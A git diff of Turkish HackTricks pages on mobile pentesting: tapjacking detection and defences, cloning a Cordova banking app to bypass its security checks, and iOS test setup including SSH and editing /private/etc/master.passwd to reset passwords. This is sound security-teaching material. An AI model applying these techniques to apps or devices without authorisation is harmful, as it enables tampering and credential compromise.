Bu saldırıya karşı savunmasız uygulamaları tespit etmek için android manifestte **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter'a sahip bir aktivite varsayılan olarak otomatik olarak dışa aktarılır). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerekip gerekmediğini kontrol edin**. Bu, **kötü niyetli uygulamanın da o izne ihtiyaç duyacağı anlamına gelir**.
|
||||
Bu saldırıya karşı savunmasız uygulamaları tespit etmek için, android manifestinde **dışa aktarılan aktiviteleri** aramalısınız (bir intent-filter ile bir aktivitenin varsayılan olarak otomatik olarak dışa aktarıldığını unutmayın). Dışa aktarılan aktiviteleri bulduktan sonra, **herhangi bir izin gerektirip gerektirmediğini kontrol edin**. Bunun nedeni, **kötü niyetli uygulamanın da o izne ihtiyaç duymasıdır**.
|
||||
|
||||
### Koruma
|
||||
|
||||
#### Android 12 (API 31,32) ve üstü
|
||||
#### Android 12 (API 31,32) ve üzeri
|
||||
|
||||
[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** Android 12'den (API 31 ve 30) ve üstünden itibaren tapjacking saldırıları otomatik olarak engellenir. Bu nedenle, uygulama savunmasız olsa bile **onu sömüremeyeceksiniz**.
|
||||
[**Bu kaynağa göre**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** tapjacking saldırıları Android 12 (API 31 & 30) ve üzeri sürümlerde otomatik olarak engellenmektedir. Yani, uygulama savunmasız olsa bile **onu istismar edemeyeceksiniz**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
**`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandığında, `View` başka bir görünür pencere tarafından engellendiğinde dokunmaları almayacaktır.
|
||||
Eğer **`android:filterTouchesWhenObscured`** **`true`** olarak ayarlandıysa, `View`, görünümün penceresi başka bir görünür pencere tarafından gizlendiğinde dokunuşları almayacaktır.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
Özellik **`setFilterTouchesWhenObscured`** **true** olarak ayarlandığında, bu zafiyetin sömürülmesini önleyebilir, özellikle Android sürümü daha düşükse.\
|
||||
Örneğin **`true`** olarak ayarlandığında, bir düğme otomatik olarak **engellenebilir hale gelir** eğer engellenmişse:
|
||||
**`setFilterTouchesWhenObscured`** özelliği true olarak ayarlandığında, Android sürümü daha düşükse bu zafiyetin istismarını da engelleyebilir.\
|
||||
Örneğin, **`true`** olarak ayarlandığında, bir buton otomatik olarak **gizlendiğinde devre dışı bırakılabilir**:
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
android:id="@+id/button1"
|
||||
|
@ -50,32 +51,47 @@ android:layout_height="wrap_content"
|
|||
android:filterTouchesWhenObscured="true">
|
||||
</Button>
|
||||
```
|
||||
## Sömürü
|
||||
## Exploitation
|
||||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
En son **Android uygulaması** bir Tapjacking saldırısı gerçekleştirebilir (+ hedeflenen uygulamanın dışa aktarılan bir aktivitesinden önce çağrı yapabilir) şurada bulunabilir: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
En **son Android uygulaması** olan Tapjacking saldırısını gerçekleştiren (+ saldırıya uğrayan uygulamanın dışa aktarılan bir aktivitesinden önce çağırma) bulmak için: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
Kullanmak için **README talimatlarını takip edin**.
|
||||
**Kullanmak için README talimatlarını takip edin**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
Başka aktivitelerin üzerine yerleştirilebilecek **FloatingWindowApp**'i uygulamak için bir örnek proje [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) içinde bulunabilir (biraz eski, apk oluşturma konusunda iyi şanslar).
|
||||
**FloatingWindowApp**'i uygulayan bir örnek proje, tıklama saldırısı gerçekleştirmek için diğer aktivitelerin üzerine yerleştirilebilecek bir proje [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp) içinde bulunabilir (biraz eski, apk oluşturma konusunda iyi şanslar).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
Bu proje artık bakımsız görünüyor ve bu işlev artık düzgün çalışmıyor gibi görünüyor
|
||||
Bu projenin artık bakımsız olduğu ve bu işlevselliğin düzgün çalışmadığı görünüyor
|
||||
{% endhint %}
|
||||
|
||||
Muhtemel **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak için [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz. `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile.
|
||||
Olası **Tapjacking** zafiyetlerini test etmek için kötü niyetli bir uygulama oluşturmak üzere `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` parametreleri ile [**qark**](https://github.com/linkedin/qark) kullanabilirsiniz.\
|
||||
|
||||
Geliştirici, bir görünüm başka bir şey tarafından kapatıldığında dokunma olaylarını almayı seçebilir, bu nedenle önlem oldukça basittir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
|
||||
Zayıflatma oldukça basittir, çünkü geliştirici bir görünüm başka bir görünüm tarafından kaplandığında dokunma olaylarını almamayı seçebilir. [Android Geliştirici Referansı](https://developer.android.com/reference/android/view/View#security) kullanarak:
|
||||
|
||||
> Bazı durumlarda, bir uygulamanın bir izin isteğini kabul eden, bir satın alma yapan veya bir reklama tıklayan kullanıcı tarafından tam bilgi ve onayla gerçekleştirildiğini doğrulaması gerekebilir. Ne yazık ki, kötü niyetli bir uygulama, kullanıcıyı, görünümün amaçlanan amacını gizleyerek, bu eylemleri yapmaya zorlayabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
> Bazen bir uygulamanın, bir izin isteği verme, bir satın alma yapma veya bir reklama tıklama gibi bir eylemin kullanıcının tam bilgisi ve rızasıyla gerçekleştirildiğini doğrulaması önemlidir. Ne yazık ki, kötü niyetli bir uygulama, görünümün amaçlanan amacını gizleyerek kullanıcının bu eylemleri bilmeden gerçekleştirmesini sağlamaya çalışabilir. Bir çözüm olarak, çerçeve, hassas işlevselliğe erişim sağlayan görünümlerin güvenliğini artırmak için kullanılabilecek bir dokunma filtreleme mekanizması sunar.
|
||||
>
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) yöntemini çağırın veya android:filterTouchesWhenObscured düzen özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünüm penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunuşları reddedecektir. Sonuç olarak, görünüm, bir toast, iletişim kutusu veya başka bir pencere görünümünün penceresinin üzerinde göründüğünde dokunuşları almayacaktır.
|
||||
> Dokunma filtrelemeyi etkinleştirmek için [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) çağrısını yapın veya android:filterTouchesWhenObscured düzenleme özniteliğini true olarak ayarlayın. Etkinleştirildiğinde, çerçeve, görünümün penceresi başka bir görünür pencere tarafından kaplandığında alınan dokunmaları atlayacaktır. Sonuç olarak, bir toast, diyalog veya başka bir pencere görünümün penceresinin üzerinde belirdiğinde görünüm dokunmaları almayacaktır.
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,52 +1,53 @@
|
|||
# Cordova Uygulamaları
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahramanla öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklam vermek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Daha fazla ayrıntı için [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58)'e** bakın. İşte bir özet:
|
||||
**Daha fazla detay için [https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58](https://infosecwriteups.com/recreating-cordova-mobile-apps-to-bypass-security-implementations-8845ff7bdc58) adresini kontrol edin. Bu bir özet:**
|
||||
|
||||
Apache Cordova, **JavaScript, HTML ve CSS** kullanarak **hibrit uygulamaların** geliştirilmesini sağlamasıyla tanınır. Android ve iOS uygulamalarının oluşturulmasına izin verir; ancak, uygulamanın kaynak kodunu güvence altına almak için varsayılan bir mekanizma sunmaz. React Native'in aksine, Cordova kaynak kodunu varsayılan olarak derlemez, bu da kod manipülasyonu açıklarına yol açabilir. Cordova, uygulamaları render etmek için WebView'i kullanır ve HTML ve JavaScript kodunu APK veya IPA dosyalarına derlendikten sonra bile açığa çıkarır. Öte yandan, React Native, JavaScript kodunu yürütmek için bir JavaScript VM kullanır ve daha iyi kaynak kodu koruması sunar.
|
||||
Apache Cordova, **JavaScript, HTML ve CSS** kullanarak **hibrit uygulamaların** geliştirilmesini sağladığı için tanınmaktadır. Android ve iOS uygulamalarının oluşturulmasına olanak tanır; ancak, uygulamanın kaynak kodunu güvence altına almak için varsayılan bir mekanizma sunmamaktadır. React Native'in aksine, Cordova varsayılan olarak kaynak kodunu derlemez, bu da kod manipülasyonu zafiyetlerine yol açabilir. Cordova, uygulamaları render etmek için WebView kullanır ve HTML ile JavaScript kodunu APK veya IPA dosyalarına derlendikten sonra bile açığa çıkarır. React Native ise, JavaScript kodunu çalıştırmak için bir JavaScript VM kullanarak daha iyi kaynak kodu koruması sunar.
|
||||
|
||||
### Bir Cordova Uygulamasını Klonlama
|
||||
### Cordova Uygulamasını Klonlama
|
||||
|
||||
Bir Cordova uygulamasını klonlamadan önce, NodeJS'in yanı sıra Android SDK, Java JDK ve Gradle gibi diğer önkoşulların yüklü olduğundan emin olun. Resmi Cordova [belgeleri](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) bu kurulumlar için kapsamlı bir kılavuz sağlar.
|
||||
Bir Cordova uygulamasını klonlamadan önce, NodeJS'in yanı sıra Android SDK, Java JDK ve Gradle gibi diğer ön koşulların yüklü olduğundan emin olun. Resmi Cordova [belgeleri](https://cordova.apache.org/docs/en/11.x/guide/cli/#install-pre-requisites-for-building) bu kurulumlar için kapsamlı bir kılavuz sunmaktadır.
|
||||
|
||||
`Bank.apk` adında bir örnek uygulamayı düşünelim ve paket adı `com.android.bank` olsun. Kaynak koduna erişmek için `bank.apk` dosyasını açın ve `bank/assets/www` klasörüne gidin. Bu klasör, uygulamanın HTML ve JS dosyaları dahil olmak üzere tam kaynak kodunu içerir. Uygulamanın yapılandırması `bank/res/xml/config.xml` dosyasında bulunabilir.
|
||||
`com.android.bank` paket adına sahip `Bank.apk` adlı bir örnek uygulamayı düşünün. Kaynak koda erişmek için `bank.apk` dosyasını açın ve `bank/assets/www` klasörüne gidin. Bu klasör, uygulamanın HTML ve JS dosyaları da dahil olmak üzere tam kaynak kodunu içerir. Uygulamanın yapılandırması `bank/res/xml/config.xml` dosyasında bulunabilir.
|
||||
|
||||
Uygulamayı klonlamak için şu adımları izleyin:
|
||||
Uygulamayı klonlamak için bu adımları izleyin:
|
||||
```bash
|
||||
npm install -g cordova@latest
|
||||
cordova create bank-new com.android.bank Bank
|
||||
cd bank-new
|
||||
```
|
||||
`bank/assets/www` klasöründeki içeriği, `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` ve `plugins/` dizinini hariç tutarak `bank-new/www` klasörüne kopyalayın.
|
||||
`bank/assets/www` içeriğini `bank-new/www` dizinine kopyalayın, `cordova_plugins.js`, `cordova.js`, `cordova-js-src/` ve `plugins/` dizinini hariç tutarak.
|
||||
|
||||
Yeni bir Cordova projesi oluştururken platformu (Android veya iOS) belirtin. Bir Android uygulamasını klonlamak için Android platformunu ekleyin. Unutmayın, Cordova'nın platform sürümleri ve Android API seviyeleri farklıdır. Platform sürümleri ve desteklenen Android API'leri hakkında ayrıntılı bilgi için Cordova [belgelerine](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) başvurun.
|
||||
Yeni bir Cordova projesi oluştururken platformu (Android veya iOS) belirtin. Android uygulamasını klonlarken Android platformunu ekleyin. Cordova'nın platform sürümleri ve Android API seviyelerinin farklı olduğunu unutmayın. Platform sürümleri ve desteklenen Android API'leri hakkında ayrıntılar için Cordova [belgelerine](https://cordova.apache.org/docs/en/11.x/guide/platforms/android/) bakın.
|
||||
|
||||
Uygun Cordova Android platform sürümünü belirlemek için orijinal uygulamanın `cordova.js` dosyasındaki `PLATFORM_VERSION_BUILD_LABEL` değerini kontrol edin.
|
||||
Uygun Cordova Android platform sürümünü belirlemek için, orijinal uygulamanın `cordova.js` dosyasındaki `PLATFORM_VERSION_BUILD_LABEL` değerini kontrol edin.
|
||||
|
||||
Platformu ayarladıktan sonra gerekli eklentileri yükleyin. Orijinal uygulamanın `bank/assets/www/cordova_plugins.js` dosyası tüm eklentileri ve sürümlerini listeler. Aşağıda gösterildiği gibi her eklentiyi ayrı ayrı yükleyin:
|
||||
Platformu kurduktan sonra, gerekli eklentileri yükleyin. Orijinal uygulamanın `bank/assets/www/cordova_plugins.js` dosyası tüm eklentileri ve sürümlerini listeler. Aşağıda gösterildiği gibi her eklentiyi ayrı ayrı yükleyin:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add cordova-plugin-dialogs@2.0.1
|
||||
```
|
||||
Eğer bir eklenti npm'de mevcut değilse, GitHub üzerinden temin edilebilir:
|
||||
Eğer bir eklenti npm'de mevcut değilse, GitHub'dan temin edilebilir:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova plugin add https://github.com/moderna/cordova-plugin-cache.git
|
||||
```
|
||||
Derleme yapmadan önce tüm önkoşulların karşılandığından emin olun:
|
||||
Tüm ön koşulların derlemeden önce karşılandığından emin olun:
|
||||
```bash
|
||||
cd bank-new
|
||||
cordova requirements
|
||||
|
@ -56,22 +57,23 @@ APK'yi oluşturmak için aşağıdaki komutu kullanın:
|
|||
cd bank-new
|
||||
cordova build android — packageType=apk
|
||||
```
|
||||
Bu komut, hata ayıklamayı Google Chrome üzerinden kolaylaştıran hata ayıklama seçeneği etkinleştirilmiş bir APK oluşturur. Özellikle uygulama kodu manipülasyonu tespit mekanizmaları içeriyorsa, APK'nın kurulmadan önce imzalanması önemlidir.
|
||||
Bu komut, hata ayıklama seçeneği etkinleştirilmiş bir APK oluşturur ve Google Chrome üzerinden hata ayıklamayı kolaylaştırır. Uygulama kod değiştirme tespit mekanizmaları içeriyorsa, kurulumdan önce APK'nın imzalanması çok önemlidir.
|
||||
|
||||
### Otomasyon Aracı
|
||||
|
||||
Klonlama sürecini otomatikleştirmek isteyenler için **[MobSecco](https://github.com/Anof-cyber/MobSecco)** önerilen bir araçtır. Bu, yukarıda açıklanan adımları basitleştirerek Android uygulamalarının klonlanmasını kolaylaştırır.
|
||||
Klonlama sürecini otomatikleştirmek isteyenler için, **[MobSecco](https://github.com/Anof-cyber/MobSecco)** önerilen bir araçtır. Bu araç, yukarıda belirtilen adımları basitleştirerek Android uygulamalarının klonlanmasını kolaylaştırır.
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>'ı öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklam vermek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) görün
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,39 +1,40 @@
|
|||
# iOS Temel Test İşlemleri
|
||||
# iOS Temel Test Operasyonları
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'i desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek paylaşın**.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **iOS Cihaz Kimliklendirme ve Erişim Özeti**
|
||||
## **iOS Cihaz Tanımlama ve Erişim Özeti**
|
||||
|
||||
### **Bir iOS Cihazının UDID'sini Belirleme**
|
||||
### **Bir iOS Cihazının UDID'sini Tanımlama**
|
||||
|
||||
Bir iOS cihazını benzersiz bir şekilde tanımlamak için UDID olarak bilinen 40 haneli bir dizi kullanılır. macOS Catalina veya daha yeni sürümlerde, iTunes artık mevcut olmadığından, bunu **Finder uygulamasında** bulabilirsiniz. Cihaz, USB aracılığıyla bağlandığında ve Finder'da seçildiğinde, adının altındaki ayrıntılar tıklanarak UDID'sini diğer bilgilerle birlikte ortaya koyar.
|
||||
Bir iOS cihazını benzersiz bir şekilde tanımlamak için, UDID olarak bilinen 40 haneli bir dizi kullanılır. macOS Catalina veya daha yenilerinde, bu **Finder uygulamasında** bulunabilir, çünkü iTunes artık mevcut değildir. Cihaz, USB ile bağlandığında ve Finder'da seçildiğinde, adı altındaki detaylar tıklandığında UDID'sini diğer bilgilerle birlikte gösterir.
|
||||
|
||||
Catalina'dan önceki macOS sürümleri için, UDID'nin keşfedilmesini iTunes kolaylaştırır. Detaylı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir.
|
||||
Catalina'dan önceki macOS sürümlerinde, UDID'nin keşfi için iTunes yardımcı olur. Ayrıntılı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir.
|
||||
|
||||
Komut satırı araçları, UDID'nin alınması için alternatif yöntemler sunar:
|
||||
Komut satırı araçları, UDID'yi almak için alternatif yöntemler sunar:
|
||||
|
||||
* **I/O Registry Explorer aracını kullanarak `ioreg`:**
|
||||
* **I/O Registry Explorer aracı `ioreg` kullanarak:**
|
||||
```bash
|
||||
$ ioreg -p IOUSB -l | grep "USB Serial"
|
||||
```
|
||||
* **`ideviceinstaller`'ı macOS (ve Linux) için kullanma:**
|
||||
* **`ideviceinstaller` kullanarak macOS (ve Linux) için:**
|
||||
```bash
|
||||
$ brew install ideviceinstaller
|
||||
$ idevice_id -l
|
||||
```
|
||||
* **`system_profiler` kullanımı:**
|
||||
* **`system_profiler` Kullanımı:**
|
||||
```bash
|
||||
$ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p;/iPod/,/Serial/p' | grep "Serial Number:"
|
||||
```
|
||||
|
@ -41,87 +42,88 @@ $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p
|
|||
```bash
|
||||
$ instruments -s devices
|
||||
```
|
||||
### **Cihaz Kabuğuna Erişim**
|
||||
### **Cihaza Erişim Shell'i**
|
||||
|
||||
**SSH erişimi**, **OpenSSH paketi**nin jailbreak sonrası yüklenmesiyle etkinleştirilir ve `ssh root@<cihaz_ip_adresi>` üzerinden bağlantı sağlanır. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifreleri (`alpine`) değiştirmek önemlidir.
|
||||
**SSH erişimi**, jailbreak sonrası **OpenSSH paketi** yüklenerek etkinleştirilir ve `ssh root@<device_ip_address>` üzerinden bağlantılara izin verir. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifrelerin (`alpine`) değiştirilmesi kritik öneme sahiptir.
|
||||
|
||||
**USB üzerinden SSH** erişimi, Wi-Fi olmadığında `iproxy` kullanılarak cihaz bağlantı noktalarının SSH bağlantıları için eşlenmesini gerektirir. Bu yapılandırma, USB üzerinden SSH erişimini sağlamak için aşağıdaki komutun çalıştırılmasını sağlar:
|
||||
**USB üzerinden SSH**, Wi-Fi yokluğunda gereklidir ve SSH bağlantıları için cihaz portlarını eşlemek amacıyla `iproxy` kullanılır. Bu kurulum, USB üzerinden SSH erişimi sağlamak için şu komutla çalıştırılır:
|
||||
```bash
|
||||
$ iproxy 2222 22
|
||||
$ ssh -p 2222 root@localhost
|
||||
```
|
||||
**Cihaz üzerindeki kabuk uygulamaları**, özellikle sorun giderme için doğrudan cihaz etkileşimi sağlar. **Ters SSH kabukları**, uzaktan erişim için ana bilgisayardan da kurulabilir.
|
||||
**Cihaz içi shell uygulamaları**, NewTerm 2 gibi, doğrudan cihaz etkileşimini kolaylaştırır, bu da sorun giderme için özellikle faydalıdır. **Ters SSH shell'leri** de ana bilgisayardan uzaktan erişim için kurulabilir.
|
||||
|
||||
### **Unutulan Şifreleri Sıfırlama**
|
||||
|
||||
Unutulan bir şifreyi varsayılan (`alpine`) şifreye sıfırlamak için `/private/etc/master.passwd` dosyasını düzenlemek gereklidir. Bu, mevcut karma yerine `root` ve `mobile` kullanıcı girişlerinin yanına `alpine` için karma yerleştirilerek yapılır.
|
||||
Unutulan bir şifreyi varsayılan (`alpine`) olarak sıfırlamak için, `/private/etc/master.passwd` dosyasını düzenlemek gereklidir. Bu, mevcut hash'in `root` ve `mobile` kullanıcı girişlerinin yanındaki `alpine` hash'i ile değiştirilmesini içerir.
|
||||
|
||||
## **Veri Transfer Teknikleri**
|
||||
## **Veri Aktarım Teknikleri**
|
||||
|
||||
### **Uygulama Veri Dosyalarının Transferi**
|
||||
### **Uygulama Veri Dosyalarını Aktarma**
|
||||
|
||||
**SSH ve SCP Aracılığıyla Arşivleme ve Geri Alma:** Uygulamanın Veri dizinini `tar` kullanarak arşivlemek ve ardından `scp` kullanarak transfer etmek oldukça basittir. Aşağıdaki komut, Veri dizinini .tgz dosyasına arşivler ve ardından cihazdan çeker:
|
||||
